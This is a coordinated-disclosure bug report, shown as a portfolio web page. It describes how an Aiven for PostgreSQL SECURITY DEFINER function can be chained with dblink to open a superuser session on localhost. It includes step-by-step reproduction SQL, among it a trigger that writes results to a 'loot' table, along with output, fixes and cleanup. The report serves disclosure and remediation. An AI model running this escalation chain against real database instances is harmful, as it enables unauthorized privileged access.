● Zion Boggan
repos/Security Portfolio/security-research-notebook/pg-secdef-dblink-superuser-chain/index.html
zionboggan.com ↗
Code Commits Tags
373 lines · html
History for this file →
1
<!doctype html>
2
<html lang="en"><head><meta charset="utf-8">
3
<meta name="viewport" content="width=device-width, initial-scale=1.0">
4
<title>Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan</title>
5
<meta name="description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.">
6
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
7
<style>
8
  :root{
9
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
10
    --line:#222936; --line2:#2c3543;
11
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
12
    --accent:#6cc7b8; --accent-dim:#274b47;
13
    --maxw:1020px;
14
  }
15
  *{box-sizing:border-box;}
16
  html{scroll-behavior:smooth;}
17
  body{margin:0;background:var(--bg);color:var(--ink);
18
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
19
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
20
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
21
  a{color:var(--accent);text-decoration:none;}
22
  a:hover{color:#8fe0d2;}
23
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
24
25
  /* nav */
26
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
27
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
28
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
29
  nav .brand{font-weight:600;letter-spacing:.2px;}
30
  nav .brand .dot{color:var(--accent);}
31
  nav .links{display:flex;gap:26px;font-size:13.5px;}
32
  nav .links a{color:var(--muted);}
33
  nav .links a:hover{color:var(--ink);}
34
  @media(max-width:680px){nav .links{display:none;}}
35
36
  /* hero */
37
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
38
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
39
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
40
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
41
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
42
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
43
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
44
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
45
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
46
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
47
  .hero .lede b{color:var(--ink);font-weight:600;}
48
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
49
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
50
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
51
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
52
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
53
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
54
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
55
  .meta .mono{color:var(--faint);}
56
57
  /* sections */
58
  section{padding:64px 0;border-bottom:1px solid var(--line);}
59
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
60
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
61
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
62
  .shead .rule{flex:1;height:1px;background:var(--line);}
63
64
  /* flagship */
65
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
66
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
67
  .flag .top{padding:30px 32px 8px;}
68
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
69
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
70
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
71
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
72
  .flag p{color:var(--soft);margin:0 0 16px;}
73
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
74
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
75
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
76
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
77
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
78
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
79
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
80
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
81
  .spec li:first-child{border-top:none;}
82
  .spec li span{color:var(--muted);}
83
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
84
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
85
86
  /* lab cards */
87
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
88
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
89
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
90
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
91
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
92
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
93
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
94
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
95
  .card h3{margin:0 0 9px;font-size:17px;}
96
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
97
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
98
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
99
    border-radius:5px;padding:3px 8px;}
100
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
101
  .card .lnk::after{content:" →";}
102
103
  /* research */
104
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
105
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
106
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
107
    padding:18px 22px;border-top:1px solid var(--line);}
108
  .ritem:first-child{border-top:none;}
109
  .ritem:hover{background:var(--panel);}
110
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
111
  .ritem h3{margin:0 0 3px;font-size:16px;}
112
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
113
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
114
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
115
  .progs{margin-top:22px;}
116
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
117
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
118
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
119
    border-radius:6px;padding:4px 10px;}
120
121
  /* credentials */
122
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
123
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
124
  .cred p{color:var(--soft);margin:0 0 14px;}
125
  .cred .role{font-size:14px;color:var(--muted);}
126
  .cred .role b{color:var(--ink);font-weight:600;}
127
  .certs{list-style:none;margin:0;padding:0;}
128
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
129
    display:flex;gap:10px;align-items:baseline;}
130
  .certs li:first-child{border-top:none;}
131
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
132
133
  footer{padding:46px 0 64px;}
134
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
135
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
136
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
137
138
  .detail-hero{padding:40px 0 26px;}
139
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
140
  .back:hover{color:var(--ink);}
141
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
142
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
143
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
144
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
145
  .content{padding:8px 0 0;max-width:840px;}
146
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
147
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
148
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
149
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
150
  .content p{color:var(--soft);margin:0 0 15px;}
151
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
152
  .content li{margin:5px 0;}
153
  .content strong{color:var(--ink);font-weight:600;}
154
  .content a{color:var(--accent);}
155
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
156
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
157
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
158
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
159
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
160
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
161
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
162
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
163
  /* notebook index */
164
  .nbgroup{margin:40px 0 0;}
165
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
166
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
167
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
168
  .nbtable tr{border-top:1px solid var(--line);}
169
  .nbtable tr:first-child{border-top:none;}
170
  .nbtable tr:hover{background:var(--panel);}
171
  .nbtable td{padding:14px 16px;vertical-align:top;}
172
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
173
  .nbtable .ti a{font-weight:600;color:var(--ink);}
174
  .nbtable .ti a:hover{color:var(--accent);}
175
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
176
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
177
</style>
178
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/">
179
<meta name="author" content="Zion Boggan">
180
<meta name="robots" content="index, follow, max-image-preview:large">
181
<meta property="og:type" content="article">
182
<meta property="og:site_name" content="Zion Boggan">
183
<meta property="og:title" content="Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan">
184
<meta property="og:description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.">
185
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/">
186
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
187
<meta name="twitter:card" content="summary_large_image">
188
<meta name="twitter:title" content="Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan">
189
<meta name="twitter:description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.">
190
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
191
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: Superuser Database Connection via SECURITY DEFINER dblink Chain","description":"SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.","url":"https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
192
</head><body>
193
<nav><div class="wrap">
194
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
195
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
196
</div></nav>
197
<header class="hero detail-hero"><div class="wrap">
198
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
199
  <div class="kicker">Privilege escalation</div>
200
  <h1>Report: Superuser Database Connection via SECURITY DEFINER dblink Chain</h1>
201
</div></header>
202
<section><div class="wrap"><div class="content">
203
<h2>Metadata</h2>
204
<ul>
205
<li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li>
206
<li><strong>Target Location</strong>: Aiven for PostgreSQL</li>
207
<li><strong>Target Category</strong>: Other</li>
208
<li><strong>VRT</strong>: Server Security Misconfiguration &gt; Database Management System (DBMS) Misconfiguration &gt; Excessively Privileged User / DBA</li>
209
<li><strong>Priority</strong>: P3 (Suggested)</li>
210
<li><strong>Bug URL</strong>: postgres://avnadmin:***@<host>:12741/defaultdb?sslmode=require</li>
211
</ul>
212
<hr />
213
<h2>Title</h2>
214
<p>Authenticated User Can Trigger Superuser dblink Session to Localhost via <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER Chain</p>
215
<h2>Summary</h2>
216
<p>The <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER function establishes a <strong>full superuser dblink connection to localhost via UNIX socket</strong>, bypassing dblink&rsquo;s security check that normally prevents non-superuser trust-auth connections. Any authenticated <code>avnadmin</code> user can trigger this superuser database session, including from within a logical replication apply worker trigger context.</p>
217
<p>While the queries executed through this dblink session are currently sanitized, the existence of a customer-triggerable superuser database connection to localhost represents a security boundary violation. The localhost PostgreSQL instance uses trust authentication for UNIX socket connections, and the superuser context satisfies dblink&rsquo;s <code>superuser()</code> check, creating a confirmed superuser-context network pathway that should not be reachable from customer operations.</p>
218
<h2>Root Cause</h2>
219
<p><code>pg_alter_subscription_refresh_publication()</code> is <code>SECURITY DEFINER</code> owned by <code>postgres</code>. It constructs a connection string using <code>current_user</code> (which resolves to <code>postgres</code> in the SECDEF context) and connects via <code>aiven_extras.dblink_record_execute()</code>:</p>
220
<pre><code class="language-sql">-- From pg_alter_subscription_refresh_publication (SECURITY DEFINER):
221
PERFORM aiven_extras.dblink_record_execute(
222
    pg_catalog.format('user=%L dbname=%L port=%L',
223
        current_user,           -- resolves to 'postgres' (SECDEF owner)
224
        pg_catalog.current_database(),
225
        (SELECT setting FROM pg_catalog.pg_settings WHERE name = 'port')),
226
    pg_catalog.format('ALTER SUBSCRIPTION %I REFRESH PUBLICATION WITH (copy_data=%s)',
227
        arg_subscription_name, arg_copy_data::TEXT)
228
);
229
</code></pre>
230
<p>The resulting connection string is <code>user='postgres' dbname='defaultdb' port='12741'</code>, no <code>host</code> parameter, so libpq connects via UNIX socket. The UNIX socket connection uses trust/peer authentication for the <code>postgres</code> user, and dblink&rsquo;s security check passes because <code>current_user</code> is <code>postgres</code> (superuser) within the SECDEF context.</p>
231
<h2>Steps to Reproduce</h2>
232
<h3>Prerequisites</h3>
233
<ul>
234
<li>Aiven for PostgreSQL instance (any plan)</li>
235
<li><code>avnadmin</code> credentials</li>
236
</ul>
237
<h3>Step 1: Create subscription infrastructure</h3>
238
<pre><code class="language-sql">CREATE EXTENSION IF NOT EXISTS aiven_extras;
239
CREATE EXTENSION IF NOT EXISTS dblink;
240
CREATE TABLE pub_table(id serial, val text);
241
CREATE TABLE loot(id serial, data text, ts timestamp default now());
242
243
SELECT aiven_extras.pg_create_publication('pub1', 'insert', 'public.pub_table');
244
SELECT pg_create_logical_replication_slot('slot1', 'pgoutput');
245
246
SELECT aiven_extras.pg_create_subscription(
247
    'sub1',
248
    format('host=&lt;HOST&gt; port=&lt;PORT&gt; dbname=defaultdb user=avnadmin password=&lt;PW&gt; sslmode=require'),
249
    'pub1', 'slot1', false, false
250
);
251
</code></pre>
252
<h3>Step 2: Demonstrate the superuser dblink connection succeeds</h3>
253
<pre><code class="language-sql">-- This function call establishes a superuser dblink session to localhost.
254
-- If it returns without error, the connection was established and the
255
-- ALTER SUBSCRIPTION command was executed as postgres.
256
SELECT aiven_extras.pg_alter_subscription_refresh_publication('sub1', false);
257
-- Returns: (void) - SUCCESS
258
</code></pre>
259
<h3>Step 3: Prove this works from within an apply worker trigger</h3>
260
<pre><code class="language-sql">CREATE OR REPLACE FUNCTION chain_test_trigger() RETURNS trigger AS $$
261
BEGIN
262
    INSERT INTO public.loot(data) VALUES ('cu=' || current_user || ' su=' || session_user);
263
264
    BEGIN
265
        PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub1', false);
266
        INSERT INTO public.loot(data) VALUES ('SECDEF dblink chain: SUCCEEDED from apply worker');
267
    EXCEPTION WHEN OTHERS THEN
268
        INSERT INTO public.loot(data) VALUES ('chain: ' || SQLERRM);
269
    END;
270
271
    RETURN NEW;
272
END;
273
$$ LANGUAGE plpgsql;
274
275
CREATE TRIGGER trg_chain BEFORE INSERT ON pub_table
276
FOR EACH ROW EXECUTE FUNCTION chain_test_trigger();
277
ALTER TABLE pub_table ENABLE ALWAYS TRIGGER trg_chain;
278
279
SELECT aiven_extras.pg_alter_subscription_enable('sub1');
280
INSERT INTO pub_table(val) VALUES ('chain test');
281
SELECT pg_sleep(3);
282
SELECT id, data FROM loot ORDER BY id;
283
</code></pre>
284
<p><strong>Output:</strong></p>
285
<pre><code> id | data
286
----+-----------------------------------------------------------
287
  1 | cu=avnadmin su=avnadmin
288
  2 | SECDEF dblink chain: SUCCEEDED from apply worker
289
  3 | cu=avnadmin su=postgres
290
  4 | SECDEF dblink chain: SUCCEEDED from apply worker
291
</code></pre>
292
<h3>Step 4: Confirm direct dblink as postgres is blocked (proving the SECDEF bypass)</h3>
293
<pre><code class="language-sql">-- Direct dblink to localhost as postgres FAILS for non-superuser:
294
SELECT * FROM aiven_extras.dblink_record_execute(
295
    'user=postgres dbname=defaultdb port=12741',
296
    'SELECT 1'
297
) AS t(i int);
298
-- ERROR: password or GSSAPI delegated credentials required
299
300
-- But the same connection SUCCEEDS through the SECDEF chain (Step 2).
301
</code></pre>
302
<h2>Evidence</h2>
303
<table>
304
<thead>
305
<tr>
306
<th>Method</th>
307
<th>Connection</th>
308
<th>Result</th>
309
</tr>
310
</thead>
311
<tbody>
312
<tr>
313
<td>Direct <code>dblink_record_execute</code> as avnadmin</td>
314
<td><code>user=postgres</code> via UNIX socket</td>
315
<td><strong>BLOCKED</strong>: <code>password or GSSAPI delegated credentials required</code></td>
316
</tr>
317
<tr>
318
<td>Via <code>pg_alter_subscription_refresh_publication</code> SECDEF</td>
319
<td>Same connection string</td>
320
<td><strong>SUCCEEDS</strong>: superuser dblink session established</td>
321
</tr>
322
<tr>
323
<td>From apply worker trigger context</td>
324
<td>Calling SECDEF from trigger</td>
325
<td><strong>SUCCEEDS</strong>: superuser dblink session established</td>
326
</tr>
327
</tbody>
328
</table>
329
<p>The difference is that the SECDEF function runs as <code>postgres</code>, which satisfies dblink&rsquo;s <code>superuser()</code> check. This bypasses the security restriction that is specifically designed to prevent non-superuser users from making trust-auth database connections.</p>
330
<h2>Impact</h2>
331
<ol>
332
<li>
333
<p><strong>Superuser-context network access</strong>: A customer-triggerable code path establishes a <code>postgres</code> superuser database connection to localhost. This connection has full superuser privileges on the PostgreSQL instance.</p>
334
</li>
335
<li>
336
<p><strong>Trust authentication bypass</strong>: dblink&rsquo;s security check (requiring password authentication for non-superuser connections) is bypassed because the SECDEF function elevates to <code>postgres</code> before making the connection.</p>
337
</li>
338
<li>
339
<p><strong>Attack surface expansion</strong>: The superuser dblink session currently executes only a fixed <code>ALTER SUBSCRIPTION REFRESH PUBLICATION</code> query. However, any future modification to the <code>aiven_extras</code> code that introduces an injectable parameter in this chain would immediately enable arbitrary superuser SQL execution on the managed instance.</p>
340
</li>
341
<li>
342
<p><strong>Composability with subscription ownership</strong>: Combined with the subscription ownership escalation (separate report), a customer can: (a) create a postgres-owned subscription, (b) use ALWAYS triggers in the apply worker context, (c) call this SECDEF function from within the trigger, establishing a superuser dblink within customer-controlled code flow.</p>
343
</li>
344
</ol>
345
<h2>Recommended Fix</h2>
346
<ol>
347
<li><strong>Use <code>session_user</code> or <code>current_user</code> at call time</strong> instead of the SECDEF owner for the dblink connection:</li>
348
</ol>
349
<pre><code class="language-sql">-- Store the original caller before SECDEF elevation:
350
DECLARE l_caller TEXT := session_user;
351
-- Use l_caller in the connection string instead of current_user
352
</code></pre>
353
<ol start="2">
354
<li>
355
<p><strong>Alternatively</strong>, have <code>pg_alter_subscription_refresh_publication</code> execute via <code>dblink_record_execute</code> connecting as <code>avnadmin</code> (the calling user) rather than <code>postgres</code>, eliminating the superuser dblink session entirely.</p>
356
</li>
357
<li>
358
<p><strong>Defense in depth</strong>: Ensure the pg_hba.conf <code>local</code> entry for the <code>postgres</code> user requires certificate or password authentication, not trust/peer, to prevent any SECDEF function from establishing passwordless superuser connections.</p>
359
</li>
360
</ol>
361
<h2>Cleanup</h2>
362
<pre><code class="language-sql">SELECT aiven_extras.pg_alter_subscription_disable('sub1');
363
SELECT aiven_extras.pg_drop_subscription('sub1', true);
364
DROP TABLE pub_table CASCADE;
365
DROP TABLE loot;
366
</code></pre>
367
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven/pg-secdef-dblink-superuser-chain.md</p>
368
</div></div></section>
369
<footer><div class="wrap row">
370
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
371
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
372
</div></footer>
373
</body></html>